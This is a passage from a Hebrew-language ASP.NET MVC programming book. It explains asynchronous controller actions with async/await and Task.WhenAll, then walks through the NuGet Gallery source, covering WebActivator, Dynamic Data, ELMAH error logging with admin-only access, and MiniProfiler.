כאשר נתוני . ולפיכך אינה מעכבת עיבוד של בקשות חדשות, מסוים במאגר התהליכונים

ואז הוא מקצה ,  באמצעות אירוע סיום בקשת רשת מודיע על כךIISשרת , הפעולה זמינים
התהליכון שהוקצה להמשך . תהליכון חופשי ממאגר התהליכונים להמשך הטיפול בבקשה

צינור הבקשה . הטיפול בבקשה אינו בהכרח התהליכון המקורי שהוקצה לה לפני ההשהיה
 . )15-18תרשים (מטפל בזה בעצמו כדי לבודד את המפתחים מהפרטים הטכניים 
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 ציר זמן של בקשה אסינכרונית

 15-18תרשים 

מרגע שליחת הבקשה , או יותר, חשוב להבהיר שהמשתמש עדיין ידרש להמתין שתי שניות
בדיוק בגלל זה נאמר קודם שתהליכים אסינכרוניים מיועדים . ועד לקבלת תגובה מהשרת

למרות שזמן . כלשהיולא לקיצור זמן התגובה לבקשה אחת , בעיקר לשיפור היעילות הכוללת
כאשר , בין שזהו הליך סינכרוני ובין שזהו הליך אסינכרוני, התגובה לבקשה מהמשתמש זהה

השרת אינו מנוע מלבצע פעולות יצרניות אחרות בעת המתנה  -צינור הבקשה אסינכרוני 
 . להשלמת הבקשה המקורית

 שיקולים לבחירת צינורות סינכרוניים או אסינכרוניים

ציג מספר הנחיות שתעזורנה לכם לבחור בין שימוש בצינורות סינכרוניים או בסעיף זה נ
וצריך לתת את הדעת , חשוב להבהיר שמדובר בהנחיות כלליות בלבד. בצינורות אסינכרוניים

 :השתמשו בצינורות סינכרוניים כאשר. גם לדרישות היחודיות של היישום

 הפעולות פשוטות ובעלות משך ריצה קצר. 
 ת לפשטות וליכולת בדיקהיש חשיבו . 
 הפעולות תלויות-CPUולא תלויות -IO. 

 :השתמשו בצינורות אסינכרוניים כאשר

  בדיקות מעידות על פגיעה בביצועי האתר כתוצאה מצוואר בקבוק שמקורו בהליכים
 . חסומים

 עבודה במקביל חשובה יותר מפשטות הקוד . 
 הפעולות תלויות-IOולא תלויות -CPU . 

שום של צינורות אסינכרוניים כרוך בתשתיות ענפות יותר וביותר עלויות נלוות מכיוון שיי
קשה יותר לתאר בצורה לוגית קוד אסינכרוני לעומת קוד , לעומת צינורות סינכרוניים

של ) mocking(בדיקה של קוד אסינכרוני עשויה לדרוש השקעה רבה יותר בהדמיה . סינכרוני
כמו .  בחשבון את העובדה שסדר הרצת הקוד אינו מוחלטובנוסף יש לקחת, רכיבים הקפיים

מכיוון שאין טעם ,  להליכים אסינכרונייםCPU-אין זה באמת משתלם להמיר הליכים תלויי, כן
לא ניתן לתרום , במילים אחרות. בהוספת התקורה הנדרשת להליכים שככל הנראה לא יחֵַסמו

שיטה על ידי ה CPU-לשיפור ביעילות של קוד שמבצע פעולות תלויות
ThreadPool.QueueUserWorkItem()כאשר משתמשים בצינור אסינכרוני  . 
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 כתיבת שיטות פעולה אסינכרוניות

 החדש TAP מודל - מטלות-תבנית אסינכרונית מבוססתפעולות אסינכרוניות שמבוססות על 
כה לקיים פעולה אסינכרוניות צרי). סינכרוניות(דומות מאוד לפעולות רגילות  - MVC 4של 

 : את התנאים הבאים

  הפעולה חייבת להיות מסומנת כפעולה אסינכרונית באמצעות מילת המפתחasync. 

  הפעולה חייבת להחזירTask או Task<ActionResult> . 

  כל הליך אסינכרוני בתוך השיטה חייב להשתמש במילת המפתחawait כדי להשהות 
 . את ההליך עד להשלמת הקריאה

החדשות בדוגמה . שמרכז חדשות מקומיות באזור מסוים) פורטל(אתר שער ניקח לדוגמה 
אשר כוללת קריאת רשת שהשלמתה , ()GetNewsמתקבלות באמצעות שיטה בשם שלנו 

 : פעולה סינכרונית טיפוסית עשויה להיראות כך. עשויה להימָשך זמן רב

public class PortalController : Controller { 

 public ActionResult News(string city) { 

  NewsService newsService = new NewsService(); 

  NewsModel news = newsService.GetNews(city); 

  return View(news); 

 } 

} 

 : הקוד שלהלן מבצע את אותה פעולה באופן אסינכרוני

public class PortalController : Controller { 
 public async Task<ActionResult> News(string city) { 

  NewsService newsService = new NewsService(); 
  NewsModel news = await newsService.GetNews(city); 

  return View(news); 

 } 

} 

 asyncהוספת מילת המפתח : ניתן לראות שלהמרת הפעולה נדרשו שלושה שינויים בלבד
 . החוסם לפני הקריאה לשירות await והוספת <Task<ActionResultהחזרת , לפעולה

 ? פשוטTaskבאיזה מקרים נחזיר 

 וגם Task מאפשרת להחזיר גם MVC 4אתם עשויים לשאול את עצמכם מדוע 
Task<ActionResult> .מה הטעם בפעולה שאינה מחזירה דבר ? 

וך שאינם נדרשים מסתבר שזוהי אפשרות שימושית ביותר בשירותים בעלי משך ריצה אר
כגון , היישום שלכם עשוי לכלול פעולה שמבצעת הליך שירות ארוך, לדוגמה. להחזיר פלט

אין , במקרים כאלה. שליחת דואר אלקטרוני למספר רב של נמענים או בניית דוח מאוד ארוך
 שקולה Taskהחזרת . ומי שביצע את הקריאה לשיטה אינו מצפה לקבל דבר חזרה, מה להחזיר

ולמעשה לא , EmptyResultשניהם מומרים לתגובת ;  על ידי שיטה סינכרוניתvoidזרת להח
 . נשלחת כל תגובה
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 הרצת הליכים מקבילים

המרת הפעולה לפעולה אסינכרונית לא תרמה להאצת הביצועים של , בדוגמה האחרונה
וסבר כפי שה(אלא אִפשרה לנו למצות בצורה טובה יותר את משאבי השרת , הפעולה עצמה
אחד היתרונות העיקריים של קוד אסינכרוני בא לידי ביטוי בתרחישים ). בתחילת הסעיף

פורטלים משמשים , לדוגמה. שבהם פעולה צריכה לבצע מספר הליכים אסינכרוניים בבת אחת
 : מניות ומידע אחר, מזג אוויר, אלא גם לעדכוני ספורט, לא רק להצגת חדשות

public class PortalController : Controller { 

 public ActionResult Index(string city) { 

  NewsService newsService = new NewsService(); 

  WeatherService weatherService = new WeatherService(); 

  SportsService sportsService = new SportsService(); 

  PortalViewModel model = new PortalViewModel { 

   News = newsService.GetNews(city), 

   Weather = weatherService.GetWeather(city), 

   Sports = sportsService.GetScores(city) 

  }; 

  return View(model); 

 } 

} 

ולכן הזמן שנדרש כדי להגיב לבקשת הלקוח , שימו לב שכל הקריאות מבוצעות בזו אחר זו
אם הקריאות נמשכות . זמנים הנדרשים להשלמת כל אחת מהקריאות היחידותשווה לסכום ה

בתוספת תקורה ( אלפיות שנייה 900זמן ההרצה הכולל יהיה ,  אלפיות שנייה400- ו300, 200
 : גם עבור הפעולה הזו ניתן ליצור גרסה אסינכרונית). זניחה של השרת

public class PortalController : Controller { 

 public async Task<ActionResult> Index(string city) { 

  NewsService newsService = new NewsService(); 

  WeatherService weatherService = new WeatherService(); 

  SportsService sportsService = new SportsService(); 

 

  var newsTask = newsService.GetNewsAsync(city); 

  var weatherTask = weatherService.GetWeatherAsync(city); 

  var sportsTask = sportsService.GetScoresAsync(city); 

 

  await Task.WhenAll(newsTask, weatherTask, sportsTask); 

 

  PortalViewModel model = new PortalViewModel { 

   News = newsTask.Result, 

   Weather = weatherTask.Result, 

   Sports = sportsTask.Result 

  }; 

 

  return View(model); 

 } 

} 
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הזמן שהמשתמש צריך להמתין לקבלת תגובה , מכיוון שכל ההליכים מופעלים בבת אחת
, 200אם זמני הקריאות הם , לדוגמה. שווה לזמן שדרוש להשלים את הקריאה הארוכה ביותר

בתוספת תקורה ( אלפיות שנייה 400זמן ההרצה הכולל יעמוד על , ת שנייה אלפיו400- ו300
 ). זניחה

 WhenAll.Taskבמקביל באמצעות קריאות ביצוע 

 לצורך הרצת מספר שיטות ()Task.WhenAllבשיטה שעשינו בוודאי הבחנתם בשימוש 
 awaitאתם עשויים לחשוב שדי בסימון כל אחת מבקשות השירות במילת המפתח . במקביל

 תגרום אומנם לשחרור התהליכון awaitמילת המפתח . אך לא כך הדבר, כדי להריצן במקביל
אולם הקריאה המסומנת הבאה לא , עד לסיום פרק הריצה הארוך של הקריאה המסומנת

, מבצעת את כל הקריאות בבת אחת Task.WhenAllהשיטה . תתחיל לפני שהראשונה תושלם
 . אחר השלמת האחרונה מביניהןומחזירה את השליטה לקורא ל

עולה היא אל הפ שמנתבת URLכתובת , בשתי הדוגמאות האחרונות
/Portal/Index?city=Seattle)  או/Portal?city=Seattle ,ם דף ושֵ, )ב ברירת המחדלידרך נת

 ). Indexמכיוון ששם הפעולה הוא  (Index.cshtmlהתצוגה הוא 

,  אסינכרוניות לשיפור הביצועים של פעולה מסוימתזוהי דוגמה קלאסית לשימוש בפעולות
 ). מנקודת מבטו של משתמש הקצה(מעבר לשיפור היעילות הכוללת 

 סיכום
במהלך הלימוד בספר זה הקפדנו לא להציף אתכם במידע שעשוי לבלבל ולהסיח את דעתכם 

עניינות בין לא נגענו באינטראקציות מ. וגם אם הוא מעניין ככל שיהיה, מהסוגיות העיקריות
ונמנענו מחקירה מעמיקה של פרטי המימוש שמעסיקים אותנו על , רכיבים שטרם דנו בהם

 . אך עשויים להרתיע מפתחים לא מנוסים, בסיס יומיומי

יכולנו סוף סוף לנצל את הידע שצברתם ולהסביר את , מעט לפני סיום הספר, בפרק זה
מההיבטים החביבים עלינו במנגנוני במהלך הפרק שיתפנו אתכם בכמה . הדברים לעומקם

גם הצגנו מספר טכניקות מתקדמות שיאפשרו לכם . ASP.NET MVCהפעולה הפנימיים של 
 . לממש את הפוטנציאל המלא של התשתית
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 16פרק 

ASP.NET MVCבעולם האמיתי  : 

 NuGet.orgבניית אתר 

Phil Haack 

 

 עיקרי הפרק

  קוד המקור שלNuGet Gallery 

 מבנה קוד מקור 

 WebActivator 

 ASP.NET Dynamic Data 
 תיעוד שגיאות 

  פעילותהצגת נתוני 

 גישת נתונים 

  שימושCode First 

 membership 
  חבילותNuGetשימושיות נוספות  

 

כדי . עליכם לקרוא ספר, ASP.NET MVCאו על סביבת עבודה כדוגמת ,  ללמוד על תשתיתכדי
עיון . עליכם לקרוא קוד מקור, ללמוד להשתמש בתשתית כדי לבנות יישומים בעולם האמיתי

בקוד המקור של יישומים אמיתיים היא הדרך הטובה ביותר ללמוד כיצד ליישם את הידע 
 . צועיתשרכשתם באמצעות הספרות המק

ועומד , אנחנו מתכוונים ליישום שנמצא בשימוש פעיל" יישום אמיתי"כאשר אנחנו אומרים 
יישומים .  אתר שאתם יכולים לבקר בו בכל עת באמצעות הדפדפן שלכם-בדרישות העסקיות 

עם מועדי הגשה , אשר מפותחים בסביבה הדינמית וההפכפכה שמאפיינת את העולם האמיתי
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עשויים להיראות שונים מאוד מהיישומים הסטריליים שמוצגים ,  משתנותמחייבים ודרישות
 ". דבר האמיתי"ואינם אלא דוגמאות ל, בספרות המקצועית

 ASP.NETאשר נבנה באמצעות , בפרק זה נסקור יישום אמיתי על כל הפגמים השונים שלו

MVC . מדובר : שום הזהאתם כבר אמורים להכיר את היי, 10 את פרק ם ועדיין זוכריםקראתאם
כדי  /http://nuget.org כדאי לכם לבקר באתר בכתובת ,שנתחיללפני . NuGet Galleryבאתר 

 ושל ASP.NETחברי הצוות של . לקבל מושג כללי על מערך האפשרויות שהאתר מספק
ASP.NET MVCממשיכים לקחת חלק פעיל בפיתוח המתמשך של האתר הזה  . 

 קוד המקור של האתר
ומאוחסן באתר , /http://nuget.orgמשמש להרצת הוא זה ש, NuGet Gallery של קוד המקור

GitHub בכתובת https://github.com/nuget/nugetgallery/. כדי להוריד את קוד המקור 
 .  שבאותה כתובתREADMEפעלו על פי ההוראות בקובץ , למחשב שלכם

 NuGet מעוניינים לתרום לפרויקט  אשרGit ידע בסיסי על בעליההוראות מיועדות למפתחים 

Gallery.כדי לעיין בקוד המקור ללא שימוש ב -Git , תוכלו להוריד קובץzip בכתובת 
https://github.com/NuGet/NuGetGallery/zipball/master . 

הכלים שמפורטים בקובץ ודאו שמותקנים בו , לאחר הורדת קוד המקור למחשב שלכם
README) Azure SDKהחבילות  ומנהל NuGet( . הריצו את תסריטPowerShell שנמצא בכתובת 

.\Build-Solution.ps1התסריט בונה את .  כדי לוודא שסביבת הפיתוח שלכם מוגדרת כהלכה
אתם יכולים לצאת , לאחר השלמת התהליך בהצלחה. הפתרון ומריץ את כל בדיקות היחידה

 תוכלו לראות שהוא כולל שני פרויקטים ,Visual Studioלאחר פתיחת הפתרון בסביבת . לדרך
 . 16-1כמוצג בתרשים , בלבד

 16-1תרשים    

 .  כל בדיקות היחידה של פרויקט התוכנה מכיל אתFactsהפרויקט 

 תשתית - XUnit.NET נכתבו באמצעות תשתית NuGet Galleryבדיקות היחידה של  הערה
 . קלת משקל ומעוצבת היטב, נקייה, בדיקה נוחה

ומסומנות באמצעות התכונה , "facts"בדיקות נקראות , XUnit.NETשל וחים המקובלים מינב
FactAttribute ,ומכאן שמו של פרויקט בדיקות היחידה :Facts . 
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אבל "אתם בוודדאי שואלים את עצמכם . ASP.NET MVC מכיל את פרויקט Websiteהפרויקט 
איך ייתכן שיישום אמיתי אינו ? NuGetGallery.Coreואיפה פרויקט ? פרויקט המודליםמה עם 

 ". ?מכיל המון פרויקטים

מפתחים רבים נחפזים לפצל את הפתרון למספר רב של , ASP.NET MVCבעת יצירת יישומי 
על פי הגרסה הראשונה של , אחת הסיבות לכך היא מקובעות עבודה. ספריות מחלקות שונות

ASP.NET ,המתכנתים נהגו , על כן.  בדיקות יחידהאשר לא אפשרה הפניות לאתר מפרויקט
כדי שיהיה ניתן להפנות אליה , ליצור ספריית מחלקות שהכילה את כל הקוד של הליבה

 . מבדיקת היחידה

 ASP.NET MVCגישה זו מתעלמת מהעובדה שפרויקט 
וניתן להפנות אליו מתוך , הוא בעצמו ספריית מחלקות

 . Factsיקט כך אכן נעשה בפרו. פרויקט בדיקות היחידה

אבל מה בנוגע לסיבה הנוספת לפיצול הפתרון למספר 
? הכרוך בעיקרון הפרדת התפקידים, פרויקטים נפרדים

הפרדת הפתרון למספר פרויקטים ללא סיבה ממשית 
אינה מקדמת באופן אוטומטי את עיקרון הפרדת 

הפרדת תפקידים מושגת באמצעות הקפדה . התפקידים
ולאו דווקא , לקות השונותעל תחומי האחריות של המח

 . על ידי חלוקה של הקוד לקבצים שונים

 הגיע למסקנה שרוב הקוד של הפרויקט NuGetצוות 
ואינו מתאים לשימוש , ייחודי לפרויקט המסוים הזה

אם היינו כותבים קוד שעשוי . חוזר ביישומים אחרים
אז ככל הנראה , יהיה לשמש אותנו בתרחישים אחרים

 נפרדת ומתקינים NuGetותו בחבילת היינו אורזים א
 WebBackgrounderספריית . את החבילה הזו בפרויקט

 . היא דוגמה מצוינת לכך)  שלהNuGetוחבילת (

 תוכלו לראות שהוא Websiteאם תפתחו את פרויקט 
כל ). 16-2כמוצג בתרשים (מכיל מספר רב של תיקיות 

ל מקבץ ייחודי של תפקודים או סוג שתיקייה מייצגת 
 מכילה את כל Migrationsהתיקייה , לדוגמה. תפקוד

. )database migrations(נושא מעברי בסיס הנתונים 
 . בנושא זה נדון בהמשך הפרק

פתְִחוּ את הקובץ , כדי לקבל מושג כללי על הטכנולוגיות השונות שמיושמות באתר
packages.config שנמצא בתיקיית השורש של פרויקט Website .הפרויקט , זמן הכתיבהנכון ל

מכיוון שחלק גדול , זה אינו המספר המדויק של החבילות הפעילות. NuGet חבילות 33כלל 
אבל ברור שמדובר במספר רב של חבילות , מהמוצרים מורכבים ממספר חבילות נפרדות

 16-2תרשים 
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אבל במסגרת פרק , אפשר להקדיש ספר שלם להסברת התפקיד של כל חבילה וחבילה. תוכנה
חבילות אלו מספקות מענה לסוגיות שכיחות .  בהצגת הנושאים המרכזיים בלבדזה נסתפק

אך כמובן שיש סוגיות רבות נוספות שלא נעסוק , שמעסיקות מפתחי יישומים בעולם האמיתי
 . בהן כאן

WebActivator 
 פשוטה הפניהשלישי דרוש קצת יותר מ-כדי להשתמש באופן יעיל במספר רב של ספריות צד

כדי לעשות , בעבר. ולכן היישום צריך להריץ קוד תצורה בזמן האתחול, ד שלהןלתוצר הקו
 של Application_Startאת קוד האתחול לשיטה היה עליכם להעתיק ולהדביק , זאת

Global.asax .כי , כיום אין בזה כל צורךWebActivator היא חבילת NuGet אשר משולבת עם 
כדי , ור בחבילות בצירוף הקבצים המהודרים הנלווים לכלול קבצי קוד מקNuGetהיכולות של 

 הכוללות קוד NuGetהדבר מאפשר יצירה פשוטה וקלה של חבילות . לספק פתרון לסוגיה הזו
 . אתחול יישום

, מומלץ לקרוא את הפוסט בנושא שנמצא בבלוג של דיויד אבו, WebActivatorלמידע נוסף על 
-http://blogs.msdn.com/b/davidebb/archive/2010/10/11/light-up-your-nupacksבכתובת 

with-startup-codeand-webactivator.aspx. 

זהו המיקום המקובל לאחסון קוד אתחול . App_Start כולל תיקייה בשם NuGet Galleryאתר 
 מוצג קובץ מקור שממחיש את אופן השימוש 16-1בדוגמת הקוד . WebActivator -תלוי

 .  להרצת קוד אתחול וכיבויWebActivatorבחבילת התוכנה 

 WebActivatorתבנית : 16-1 קוד

[assembly: WebActivator.PreApplicationStartMethod( 

 typeof(AppActivator), "PreStart")] 

[assembly: PostApplicationStartMethod( 

 typeof(AppActivator), "PostStart")] 

[assembly: ApplicationShutdownMethod( 

 typeof(AppActivator), "Stop")] 

 

namespace NuGetGallery 

{ 

 public static class AppActivator 

 { 

  public static void PreStart() 

  { 

   // Code that runs before Application_Start. 

  } 

  public static void PostStart() 

  { 

   // Code that runs after Application_Start. 
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  } 

  public static void Stop() 

  { 

   // Code that runs when the application is shutting down. 

  } 

 } 

} 

 מכיל את קוד האתחול שמשמש לקביעת התצורה Websiteפרויקט ב AppActivator.csהקובץ 
, כמו למשל הצגת נתוני פעילות, NuGet Galleryשל חלק גדול מהשירותים שמשמשים את 

 NuGetאתר . )Lucene.NET(רקע ואינדקס החיפוש שלנו מטלות , שינויים בבסיס הנתונים

Gallery לאופן השימוש בחבילת התוכנה  מספק דוגמה מצוינתWebActivator להגדרת שירותי 
 . אתחול באמצעות קוד

ASP.NET Dynamic Data 
מכיוון שהן  ASP.NET Dynamic Data רבים נוטים להתעלם מאפשרויות ASP.NET MVCמפתחי 

אבל למעשה , Web Formsמערך הכלים הזה נבנה אומנם על בסיס . Web Formsחלק מתשתית 
 הן למעשה Web Forms וגם תשתית ASP.NET MVCגם תשתית . בפרט טכני ותו לאמדובר 
 . שניתן לשלב ביניהן במספר דרכים מועילות, ASP.NETיישומי 

 כאמצעי מהיר ביותר לבניית NuGet Galleryבאתר  Dynamic Dataבחרנו להשתמש בתשתית 
נתונים בבסיס הנתונים שמשמש לעריכת ה scaffolding-מינהלי מבוסס) UI(ממשק משתמש 

, אנחנו מקווים ליצור בהמשך אזור מינהלי שלם שישמש לניהול הגלריה. שלנו דרך הדפדפן
לא , מכיוון שמדובר בדף מינהלתי.  עושה עבודה מצוינתDynamic Data, אבל לעת עתה

 בהחלט מספקת Dynamic Dataאולם תשתית , ייחסנו חשיבות רבה לפרטי ממשק המשתמש
 . מרשים יותר) UI(תאמה אישית למפתחים שמעוניינים לבנות ממשק יכולות ה

,  מוגדר כפרויקט האתחולWebsiteודאו שפרויקט ,  בפעולהDynamic Dataכדי לראות את 
 כדי לבקר בדף URL לכתובת dbadmin/הוסיפו .  כדי לפתוח אותו בדפדפןCtrl+F5והקישו 

חשבון המשתמש ,  את האתר באופן מקומימכיוון שאתם מריצים. הניהול של בסיס הנתונים
הדרישה היחידה היא השלמת תהליך אימות ". Admins"אינו חייב להיות חבר  בתפקיד 

כאשר האתר . צרו לעצמכם חשבון חדש, לפני שאתם ממשיכים לדף הניהול, משתמש ולכן
 . לבד בAdminsמותרת למשתמשים בעלי תפקיד  dbadmin/גישה לאזור , מרוחקמורץ על שרת 

למען . 16-3כמוצג בתרשים , אתם אמורים לראות רשימה של כל הטבלאות בבסיס הנתונים
אלא רק את הטבלאות המקבילות שמופו , הרשימה אינה כוללת את כל הטבלאות, הדיוק

 . Entity Frameworkלישויות של 
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 16-3תרשים    

בסיס , ם רק התחלתםא. Usersדאגו ללחוץ על , כאשר היישום מורץ על המחשב המקומי
ואם קיימים כבר מספר משתמשים ; הנתונים אינו אָמוּר לכלול משתמשים אחרים מלבדכם

לאחר שאתם מוצאים את . תוכלו לאתר את עצמכם לפי כתובת הדואר האלקטרוני, באתר
ולאחר , 16-4כמוצג בתרשים , Roles שבסעיף Adminסמנו את תיבת הסימון , החשבון שלכם

תוכלו לנצל את מעמדכם החדש כמינהלנים .  כדי לשמור את השינויUpdateמכן לחצו 
)Admin (כאשר נלמד על , בהמשךELMAH ,להלן . 

 16-4תרשים    
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 תיעוד שגיאות
 היא חבילת התוכנה הראשונה שאני ממליץ ELMAH, בעת פיתוח יישומי אינטרנט חדשים

 כללה NuGet שהעברתי על כמעט כל הרצאה,  יצא לראשונה לשוקNuGetכאשר . להתקין
 Error Logging Module and Handler ראשי התיבות של - ELMAHהדגמה של התקנת חבילת 

החבילה מתעדת את כל השגיאות החריגות שאינן מטופלות ). מודול לתיעוד וטיפול בשגיאות(
החבילה מספקת גם ממשק שמשמש להצגת רשימות מסודרות . ביישום שלכם ושומרת אותן

 . ואשר מוצגים במסך השגיאה, עם כל הפרטים שנלווים לכל שגיאה, השגיאות המתועדותשל 

אשר ,  העיקריתelmah ממחישות את התקנת חבילת ELMAHרוב ההדגמות של , למען הפשטות
זיכרון - לעבוד עם בסיס נתונים מבוססELMAH-כוללת הגדרות תצורה בסיסיות שמאפשרות ל

 .elhmah.corelibraryתלות בחבילת ועם 

מכיוון שתיעוד , אבל זה לא יפעל כראוי באתר אמיתי, כל זה טוב ויפה לשם ההדגמה
יש , למרבה המזל. השגיאות החריגות בזיכרון לא יישמר במקרה של אתחול היישום מחדש

ובנוסף גם חבילת תוכנה שמבוססת ,  ייעודיות לרוב בסיסי הנתונים החשוביםELMAHחבילות 
 . XMLשגיאות בקבצי על אחסון תיעוד ה

 החבילה הותקנהה,  כבסיס נתוניםSQL משתמש בשרת NuGet Galleryמכיוון שאתר 
elmah.sqlserver .כאשר אתם . השימוש בחבילה זו כרוך במספר הגדרות תצורה ידניות

 לתיקייה Elmah.SqlServer.sqlהיא מוסיפה תסריט בשם , החבילה בפרויקט שלכםמתקינים את 
App_Readme מסוג (עליכם להריץ את התסריט הזה בבסיס הנתונים שלכם . של הפרויקטSQL 

Server ,כדי ליצור את הטבלאות והפרוצדורות המאוחסנות הדרושות לפעולתה , )כמובן
 . ELMAHהתקינה של 

אך תוכלו למצוא את התסריט הזה ,  התיקייה הזו נמחקה זה מכברNuGet Galleryבאתר 
 .  באופן יחסי לשורש הפתרוןpackages\elmah.sqlserver.1.2\content\App_Readmeבתיקייה 

מדובר באמצעי .  אפשרית רק דרך המארח המקומיELMAH-הגישה ל, על פי ברירת המחדל
 יכול למעשה לחטוף את ELMAHאבטחה חשוב מכיוון שכל אדם עם גישה לקבצי התיעוד של 

ראו את הפוסט למידע נוסף ק. החיבור של כל אחד מהמשתמשים שלכם
www.troyhunt.com/2012/01/aspnet-sessionhijacking-with-google.html . 

סביר להניח שהצורך בגישה מרוחקת לקבצי התיעוד היא הסיבה שבגללה התקנתם , עם זאת
תוכלו לפתור זאת באמצעות מספר הגדרות תצורה , אל דאגה.  מלכתחילהELMAHאת 

 למשתמשים או לבעלי התפקידים elmah.axdגישה לקובץ אך תחילה עליכם לאפשר , פשוטות
בדוגמה זו הגבלנו את הגישה .  מדגים זאתNuGet Gallery של  web.configקובץ . הרצויים

 . Adminsלמשתמשים בעלי חברות בתפקיד 
<location path="elmah.axd"> 

 <system.web> 

  <httpHandlers> 

   <add verb="POST,GET,HEAD" path="elmah.axd" 
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   type="Elmah.ErrorLogPageFactory, Elmah" /> 

  </httpHandlers> 

  <authorization> 

   <allow roles="Admins" /> 

   <deny users="*" /> 

  </authorization> 

 </system.web> 

 <system.webServer> 

  <handlers> 

   <add name="Elmah" path="elmah.axd" verb="POST,GET,HEAD" 

   type="Elmah.ErrorLogPageFactory, Elmah" preCondition="integratedMode" /> 

  </handlers> 

 </system.webServer> 

</location> 

 של allowRemoteAccess בתכונה trueהציבו , elmah.axdהגדרת גישה מאובטחת לקובץ לאחר 
 באתר שלכם elmah.axd/כעת תוכלו לבקר בדף . כדי לאפשר גישה מרוחקת, securityהאלמנט 

, elmah.axdאינכם מצליחים לפתוח את אם . כדי לראות את רשימת השגיאות שלא טופלו
 באמצעות ממשק ניהול בסיס Admins המשתמש שלכם לתפקיד ודאו שהוספתם את חשבון

 . כמוסבר בסעיף הקודם, Dynamic Dataהנתונים של 

 הצגת נתוני פעילות 
 MiniProfiler היא ASP.NET MVCהחבילה השנייה שאני ממליץ למפתחים להתקין בכל יישום 

)http://miniprofiler.com/( .חבילת , תצורה הנדרשותלאחר השלמת ההתקנה וביצוע הגדרות ה
MiniProfilerט ' מוסיפה וידג)widget ( קטן לכל דף באתר שלכם כאשר הוא מורץ במארח

 . 16-5כמוצג בתרשים , עליונה של הדף-ט ממוקם בפינה השמאלית'הווידג. מקומי

 

 16-5רשים ת
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 ניתן 16-6בתרשים , לדוגמה. ט כדי להציג נתוני פרופיל אודות הדף הנוכחי'לחצו על הווידג
הפרופיל של הדף כולל . SQL מורצות שתי שאילתות NuGet Galleryלראות שבדף החיפוש של 

גם נתוני התזמון של מספר נקודות מפתח  -ובנוסף , גם את נתוני התזמון של השאילתות הללו
 . כמו למשל מימוש של תצוגות ותצוגות חלקיות, במחזור החיים של הבקשה

 

 16-6תרשים 

 מופק SQL לדעת בדיוק איזה קוד לעתיםקשה ) Entity) ORMלל שימוש בתשתית בקוד שכו
לחצו על קישורי .  חושפת אתכם למידע הזהMiniProfilerהחבילה . ומורץ כנגד בסיס הנתונים

"sql " להציג את הקוד כדיSQL 16-7כמוצג בתרשים , בסופו של דבר לבסיס הנתונים שמופק . 

 

 16-7תרשים 

, MiniProfilerהתקינו את , Entity Framework עם ASP.NET MVCט ביישום 'דגלהתקנת הווי
MiniProfiler.EFו -MiniProfiler.MVC .עליכם להשלים מספר הגדרות , לאחר התקנת החבילה

 NuGet לראות כיצד מבוצעות הגדרות התצורה עבור  כדיAppActivator.csעיינו בקובץ . תצורה

Gallery .טות רובן נמצאות בשיMiniProfilerPreStartו -MiniProfilerPostStart , ובמחלקת מודול
HTTP הפרטית MiniProfilerStartupModule . 
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 :הבה נתבונן בשיטה הראשונה
private static void MiniProfilerPreStart() 

{ 

 MiniProfilerEF.Initialize(); 

 DynamicModuleUtility.RegisterModule(typeof(MiniProfilerStartupModule)); 

 GlobalFilters.Filters.Add(new ProfilingActionFilter()); 

} 

 Entity של Code Firstלאפשרות  MiniProfilerהשורה הראשונה בשיטה משמשת להתאמת 

Framework. אינכם משתמשים באפשרות  אםCode First , עליכם לעיין בתיעוד של
MiniProfilerבצע את הגדרות התצורה הנדרשות לתיעוד שאילתות  כדי ללמוד כיצד לSQL . 

 MiniProfilerStartupModule מותאם אישית בשם HTTPבשורה השנייה מבוצע רישום של מודול 
 הייתה על ידי הוספת HTTPהדרך היחידה לרישום מודול , ASP.NET 4לפני . באמצעות קוד

 שולט באופן הפעולה MiniProfilerStartupModuleהמודול . Web.configהגדרות תצורה לקובץ 
המודול הציג את נתוני הפרופיל , נכון לזמן הכתיבה. ובתזמון של מערכת הצגת נתוני הפרופיל

המודול מכיל אומנם קוד שמאפשר גישה מרוחקת . של היישום רק בעת גישה דרך מארח מקומי
 דומה לקוד שמסמכי התיעוד הקוד שכאן. קוד זה מסומן כהערה, אך נכון להיום, למנהלי מערכת

 . Application_EndRequest  ואלApplication_BeginRequest ממליצים להוסיף אל MiniProfilerשל 

שמשמש להצגת נתוני פעילות של , השורה האחרונה בשיטה זו מוסיפה מסנן פעולה גלובלי
 . ASP.NET MVCפעולות ביישומי 

 : נעבור כעת לשיטה הבאה
private static void MiniProfilerPostStart() 

{ 

 var copy = ViewEngines.Engines.ToList(); 

 ViewEngines.Engines.Clear(); 

 foreach (var item in copy) 

  ViewEngines.Engines.Add(new ProfilingViewEngine(item)); 

} 

גה של מערכת שיטה זו עוטפת את כל מנועי התצוגה שנמצאים ביישום על ידי מנוע התצו
 לספק מידע מפורט על MiniProfilerהדבר מאפשר לחבילת התוכנה . הצגת נתוני הפרופיל

 . משך הזמן שנדרש למימוש התצוגות והתצוגות החלקיות ביישום שלכם

 יכולה להציג מגוון רחב של MiniProfiler, לאחר השלמת הגדרות התצורה המתוארות לעיל
שזה לכאורה ,  היא לא אוספת נתונים על כל קריאה לשיטה.נתוני פרופיל על היישום שלכם

אתם אפילו , במקרים מסוימים. אבל המידע שנאסף הוא מאוד שימושי, יותר מדי פולשני
 ,במיוחד תכופות לעתיםמבוצע ייתכן שנתיב קוד מסוים , למשל. עשויים להזדקק למידע נוסף

 שמשמש API מספקת גם MiniProfilerהתוכנה .  לדעת את משך הרצתו בפועלרוציםואתם 
 . ככלי עזר ומאפשר לכם לנתח את הקוד שלכם בכל רמת פירוט נדרשת
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MiniProfilerעם .  אינה יכולה להחליף את כל כלי הדיאגנוסטיקה ומדידת הביצועים הזמינים
ומספקת חוויית , ניתנת להתקנה ולהגדרה תוך דקות, העובדה שהיא מופצת בחינם, זאת

מצדיקה את מיקומה בשלב גבוה ברשימת חבילות התוכנה של , ליטה והבנהמשתמש קלה לש
NuGet ,אשר חיוניות לכל מפתח יישומים . 

 גישה לנתונים
 מול Entity Framework 5 עם )Code First" (קוד תחילה" מיושמת גישת NuGet Galleryבאתר 

 SQL Serverמול  מורץ הוא, כאשר הקוד מורץ באופן מקומי. SQL Server 2008בסיס נתונים 

Express . 

ועל פי ברירת המחדל דרושה לה , תחילה מתבססת באופן נרחב על מוסכמות-גישת קוד
מפתחים הם אנשים מאוד דעתניים ובעלי העדפות אישיות , כידוע. תצורה מינימלית ופשוטה

נו יוצא  איNuGetהצוות של . ברורות וצורך עז להתאים באופן אישי כל דבר שהם נוגעים בו
 . ולכן החלפנו כמה מהמוסכמות בהגדרות תצורה משלנו, דופן

